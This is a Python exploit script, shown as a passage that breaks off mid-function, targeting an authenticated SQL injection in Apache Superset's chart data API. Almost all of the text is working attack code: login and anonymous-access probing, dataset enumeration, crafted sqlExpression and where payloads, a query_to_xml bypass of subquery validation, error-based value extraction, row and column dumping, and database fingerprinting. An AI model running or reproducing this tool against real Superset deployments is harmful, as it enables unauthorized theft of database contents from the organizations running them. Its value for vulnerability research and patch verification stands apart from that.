1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-23980 -- Apache Superset Authenticated Error-Based SQL Injection
=========================================================================
Apache Superset < 6.0.0 allows authenticated users with read access to
perform error-based SQL injection via the 'sqlExpression' or 'where'
parameters in the /api/v1/chart/data endpoint.
Kill chain:
POST /api/v1/chart/data
-> ChartDataRestApi.data() -> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query() -> adhoc column sqlExpression
-> validate_adhoc_subquery() BYPASSED via query_to_xml()
-> raw SQL hits the database -> data extraction
For AUTHORIZED SECURITY RESEARCH ONLY.
CVSS 6.5 | CWE-89 | Fixed in Apache Superset 6.0.0
"""
from __future__ import annotations
import argparse
import json
import sys
import textwrap
import time
import random
import re
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
try:
import requests
from requests.exceptions import ConnectionError, Timeout
except ImportError:
print("[!] 'requests' library required: pip install requests")
sys.exit(1)
# -- Globals -----------------------------------------------------------------
VERBOSITY = 1
# -- ANSI --------------------------------------------------------------------
class C:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
MAGENTA = "\033[95m"
WHITE = "\033[97m"
GRAY = "\033[90m"
BOLD = "\033[1m"
DIM = "\033[2m"
BLINK = "\033[5m"
RESET = "\033[0m"
# -- Output helpers ----------------------------------------------------------
_glitch_chars = list("\u2591\u2592\u2593\u2588\u2580\u2584\u258c\u2590")
_print_lock = threading.Lock()
def _glitch(n: int = 12) -> str:
return "".join(random.choice(_glitch_chars) for _ in range(n))
def _typewriter(text: str, speed: float = 0.02):
for ch in text:
sys.stdout.write(ch)
sys.stdout.flush()
time.sleep(speed)
print()
def info(msg):
if VERBOSITY >= 1:
print(f" {C.CYAN}[*]{C.RESET} {msg}")
def good(msg):
print(f" {C.GREEN}[+]{C.RESET} {msg}")
def warn(msg):
print(f" {C.YELLOW}[!]{C.RESET} {msg}")
def fail(msg):
print(f" {C.RED}{C.BOLD}[-]{C.RESET} {msg}")
def creepy(msg):
if VERBOSITY >= 1:
print(f" {C.MAGENTA}[~]{C.RESET} {C.MAGENTA}{msg}{C.RESET}")
def debug(msg):
if VERBOSITY >= 2:
print(f" {C.GRAY}[DEBUG]{C.RESET} {C.DIM}{msg}{C.RESET}")
def print_table(headers: list[str], rows: list[list[str]], title: str = ""):
"""Print a sqlmap-style ASCII table."""
if not rows:
return
col_widths = [len(h) for h in headers]
for row in rows:
for i, cell in enumerate(row):
if i < len(col_widths):
col_widths[i] = max(col_widths[i], len(str(cell)))
sep = "+-" + "-+-".join("-" * w for w in col_widths) + "-+"
hdr = "| " + " | ".join(h.ljust(w) for h, w in zip(headers, col_widths)) + " |"
if title:
print(f"\n {C.WHITE}{C.BOLD}{title}{C.RESET}")
print(f" {sep}")
print(f" {C.BOLD}{hdr}{C.RESET}")
print(f" {sep}")
for row in rows:
cells = []
for i, w in enumerate(col_widths):
val = str(row[i]) if i < len(row) else ""
cells.append(val.ljust(w))
print(f" | {' | '.join(cells)} |")
print(f" {sep}")
print(f" {C.DIM}[{len(rows)} row(s)]{C.RESET}")
# -- Session management ------------------------------------------------------
def login(base_url: str, username: str, password: str,
timeout: int = 15) -> requests.Session | None:
session = requests.Session()
try:
r = session.post(
f"{base_url}/api/v1/security/login",
json={"username": username, "password": password,
"provider": "db", "refresh": True},
timeout=timeout,
)
if r.status_code != 200:
fail(f"login failed: HTTP {r.status_code}")
return None
token = r.json().get("access_token")
if not token:
fail("no access_token in response")
return None
session.headers.update({"Authorization": f"Bearer {token}"})
except Exception as e:
fail(f"login error: {e}")
return None
try:
r = session.get(f"{base_url}/api/v1/security/csrf_token/", timeout=timeout)
if r.status_code == 200:
csrf = r.json().get("result")
if csrf:
session.headers.update({"X-CSRFToken": csrf})
except Exception:
pass
return session
def try_anonymous(base_url: str, timeout: int = 15) -> requests.Session | None:
"""Try to access Superset without authentication.
Works when PUBLIC_ROLE_LIKE is set (e.g. "Gamma"), giving anonymous
users read access to datasets and the chart/data endpoint.
Also tries to grab a CSRF token from the login page cookies, which
some Superset configs expose to anonymous users.
"""
session = requests.Session()
# Step 1: Hit the main page to pick up any session cookies
try:
r = session.get(base_url, timeout=timeout)
except Exception:
pass
# Step 2: Try to get a CSRF token (some configs expose this anonymously)
try:
r = session.get(f"{base_url}/api/v1/security/csrf_token/", timeout=timeout)
if r.status_code == 200:
csrf = r.json().get("result")
if csrf:
session.headers.update({"X-CSRFToken": csrf})
debug(f"got anonymous CSRF token")
except Exception:
pass
# Step 3: Test if we can actually hit the chart/data endpoint
# Try a minimal request to see if we get 401/403 or something else
test_body = {
"datasource": {"id": 1, "type": "table"},
"queries": [{
"columns": [{"label": "test", "sqlExpression": "1",
"expressionType": "SQL"}],
"metrics": [], "filters": [],
"extras": {"having": "", "where": ""},
"row_limit": 1, "time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
try:
r = session.post(f"{base_url}/api/v1/chart/data",
json=test_body, timeout=timeout)
if r.status_code in (200, 400, 422, 500):
# Got past auth — public role is active
return session
elif r.status_code in (401, 403):
return None
except Exception:
pass
return None
def check_version(base_url: str, timeout: int = 10) -> str | None:
for endpoint in ["/api/v1/version", "/health"]:
try:
r = requests.get(f"{base_url}{endpoint}", timeout=timeout)
if r.status_code == 200:
data = r.json()
v = data.get("result", {}).get("version") or data.get("version")
if v:
return v
except Exception:
pass
return None
def is_vulnerable(version: str) -> bool:
try:
parts = [int(x) for x in version.strip().split(".")[:3]]
return parts[0] < 6
except ValueError:
return False
def enumerate_datasources(base_url: str, session: requests.Session,
timeout: int = 15) -> list[dict]:
datasources = []
try:
r = session.get(f"{base_url}/api/v1/dataset/",
params={"q": "(page_size:50)"}, timeout=timeout)
if r.status_code == 200:
for ds in r.json().get("result", []):
datasources.append({
"id": ds.get("id"),
"name": ds.get("table_name") or ds.get("datasource_name"),
"schema": ds.get("schema"),
"database": ds.get("database", {}).get("database_name", "?"),
"type": ds.get("datasource_type", "table"),
})
except Exception:
pass
return datasources
# -- SQL Injection core -------------------------------------------------------
def build_chart_data_payload(datasource_id: int, datasource_type: str = "table",
injection_point: str = "sqlExpression",
sqli_payload: str = "1") -> dict:
if injection_point == "sqlExpression":
return {
"datasource": {"id": datasource_id, "type": datasource_type},
"queries": [{
"columns": [{
"label": "injected",
"sqlExpression": sqli_payload,
"expressionType": "SQL",
}],
"metrics": [], "filters": [],
"extras": {"having": "", "where": ""},
"row_limit": 1000, "order_desc": True,
"time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
else:
return {
"datasource": {"id": datasource_id, "type": datasource_type},
"queries": [{
"columns": [],
"metrics": [{"label": "cnt", "expressionType": "SQL",
"sqlExpression": "COUNT(*)"}],
"filters": [],
"extras": {"having": "", "where": sqli_payload},
"row_limit": 1, "order_desc": True,
"time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
def send_sqli(base_url: str, session: requests.Session, datasource_id: int,
sqli_payload: str, injection_point: str = "sqlExpression",
datasource_type: str = "table",
timeout: int = 30) -> tuple[int, str]:
body = build_chart_data_payload(datasource_id, datasource_type,
injection_point, sqli_payload)
debug(f"SQL payload: {sqli_payload}")
try:
r = session.post(f"{base_url}/api/v1/chart/data", json=body, timeout=timeout)
if VERBOSITY >= 3:
debug(f"HTTP {r.status_code}: {r.text[:300]}")
return r.status_code, r.text
except Exception as e:
return 0, str(e)
def extract_from_direct(response_text: str) -> list[dict] | None:
"""Parse all rows from a successful JSON response."""
try:
data = json.loads(response_text)
results = data.get("result", [])
if results and results[0].get("data"):
return results[0]["data"]
except Exception:
pass
return None
def extract_single_from_direct(response_text: str) -> str | None:
"""Extract a single value from direct response."""
rows = extract_from_direct(response_text)
if rows:
row = rows[0]
val = row.get("injected")
if val is not None:
return str(val)
return None
def extract_from_error(response_text: str) -> str | None:
patterns = [
r'invalid input syntax for (?:type )?integer: "([^"]*)"',
r'"message":\s*".*?invalid input syntax.*?\\"([^\\]*)\\"',
]
for pat in patterns:
m = re.search(pat, response_text)
if m:
return m.group(1)
return None
def sqli_extract_string(sql_expr: str) -> str:
return f"CAST(({sql_expr}) AS INT)"
def sqli_xml_bypass(sql_query: str) -> str:
return f"query_to_xml('{sql_query}', true, false, '')"
def extract_value(base_url, session, ds_id, sql, inj_point="sqlExpression",
xml_bypass=False, timeout=30) -> str | None:
"""Extract a single value. Tries direct, then error-based."""
# Direct
if inj_point == "sqlExpression":
status, text = send_sqli(base_url, session, ds_id, f"({sql})",
injection_point=inj_point, timeout=timeout)
result = extract_single_from_direct(text)
if result:
return result
# Error-based
if xml_bypass:
inner = sqli_xml_bypass(sql.replace("'", "''"))
payload = f"CAST(({inner})::text AS INT)"
else:
payload = sqli_extract_string(sql)
if inj_point == "where":
payload = f"1=1 AND {payload} > 0"
status, text = send_sqli(base_url, session, ds_id, payload,
injection_point=inj_point, timeout=timeout)
return extract_from_error(text)
def extract_rows(base_url, session, ds_id, sql, inj_point="sqlExpression",
xml_bypass=False, timeout=30,
start=0, stop=100) -> list[str]:
"""Extract multiple rows using LIMIT/OFFSET."""
results = []
base_sql = re.sub(r'\s+LIMIT\s+\d+', '', sql, flags=re.I)
base_sql = re.sub(r'\s+OFFSET\s+\d+', '', base_sql, flags=re.I)
for offset in range(start, stop):
query = f"{base_sql} LIMIT 1 OFFSET {offset}"
val = extract_value(base_url, session, ds_id, query,
inj_point=inj_point, xml_bypass=xml_bypass,
timeout=timeout)
if val is None:
break
results.append(val)
if VERBOSITY >= 1:
sys.stdout.write(f"\r {C.CYAN}[*]{C.RESET} extracting... "
f"{C.BOLD}{len(results)}{C.RESET} row(s)")
sys.stdout.flush()
if results and VERBOSITY >= 1:
print()
return results
def extract_multi_column_direct(base_url, session, ds_id, columns: list[str],
inj_point="sqlExpression", timeout=30,
start=0, stop=20) -> list[list[str]]:
"""Extract multi-column data using direct sqlExpression reads.
Instead of SELECT col FROM table (blocked by subquery filter),
we inject the column name directly as the sqlExpression. This reads
from the datasource's underlying table without a FROM clause.
We use row_limit and offset via multiple requests.
"""
# Build payload with all columns at once
body = {
"datasource": {"id": ds_id, "type": "table"},
"queries": [{
"columns": [
{"label": col, "sqlExpression": col, "expressionType": "SQL"}
for col in columns
],
"metrics": [], "filters": [],
"extras": {"having": "", "where": ""},
"row_limit": stop - start,
"row_offset": start,
"order_desc": False,
"time_range": "No filter",
}],
"result_format": "json", "result_type": "full",
}
try:
r = session.post(f"{base_url}/api/v1/chart/data", json=body, timeout=timeout)
if r.status_code == 200:
data = r.json().get("result", [{}])[0].get("data", [])
rows = []
for row in data:
rows.append([str(row.get(col, "NULL")) for col in columns])
return rows
except Exception:
pass
return []
def extract_multi_column_rows(base_url, session, ds_id, columns: list[str],
table: str, inj_point="sqlExpression",
xml_bypass=False, timeout=30,
start=0, stop=20, where="") -> list[list[str]]:
"""Extract multiple columns per row. Tries direct read first, then subquery."""
# Strategy 1: Direct column read (works when ds_id matches the table)
if inj_point == "sqlExpression" and not xml_bypass:
rows = extract_multi_column_direct(base_url, session, ds_id, columns,
inj_point=inj_point, timeout=timeout,
start=start, stop=stop)
if rows:
if VERBOSITY >= 1:
print(f" {C.CYAN}[*]{C.RESET} extracted {C.BOLD}{len(rows)}{C.RESET} row(s) via direct read")
return rows
# Strategy 2: Subquery per column (works with xml_bypass on PostgreSQL)
rows = []
where_clause = f" WHERE {where}" if where else ""
for offset in range(start, stop):
row_data = []
empty = True
for col in columns:
sql = f"SELECT {col} FROM {table}{where_clause} LIMIT 1 OFFSET {offset}"
val = extract_value(base_url, session, ds_id, sql,
inj_point=inj_point, xml_bypass=xml_bypass,
timeout=timeout)
if val is not None:
empty = False
row_data.append(val or "NULL")
if empty:
break
rows.append(row_data)
if VERBOSITY >= 1:
sys.stdout.write(f"\r {C.CYAN}[*]{C.RESET} dumping... "
f"{C.BOLD}{len(rows)}{C.RESET} row(s)")
sys.stdout.flush()
if rows and VERBOSITY >= 1:
print()
return rows
# -- DB Fingerprinting -------------------------------------------------------
def fingerprint_db(base_url, session, ds_id, inj_point="sqlExpression",
timeout=30) -> str:
"""Detect backend database type. Returns 'sqlite', 'postgresql', or 'unknown'."""
info("fingerprinting backend database...")
# Try SQLite — sqlite_version() is a scalar function (no FROM)
status, text = send_sqli(base_url, session, ds_id, "(SELECT sqlite_version())",
injection_point=inj_point, timeout=timeout)
|